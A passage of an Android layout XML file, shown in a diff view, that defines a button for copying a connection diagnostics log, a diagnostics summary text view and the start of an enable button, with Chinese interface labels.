android:layout_height="wrap_content" />
|
||||
</LinearLayout>
|
||||
|
||||
<Button
|
||||
android:id="@+id/copyDiagnosticsButton"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="44dp"
|
||||
android:layout_marginTop="8dp"
|
||||
android:text="复制连接诊断日志"
|
||||
android:textAllCaps="false" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/diagnosticsPreviewText"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginTop="8dp"
|
||||
android:text="诊断摘要:待初始化"
|
||||
android:textSize="12sp"
|
||||
android:textColor="#E8E8E8"
|
||||
android:lineSpacingExtra="2dp" />
|
||||
</LinearLayout>
|
||||
<Button
|
||||
android:id="@+id/enableButton"
|
||||
android:layout_width="match_parent"
|
||||
|
||||
Reference in New Issue
Block a user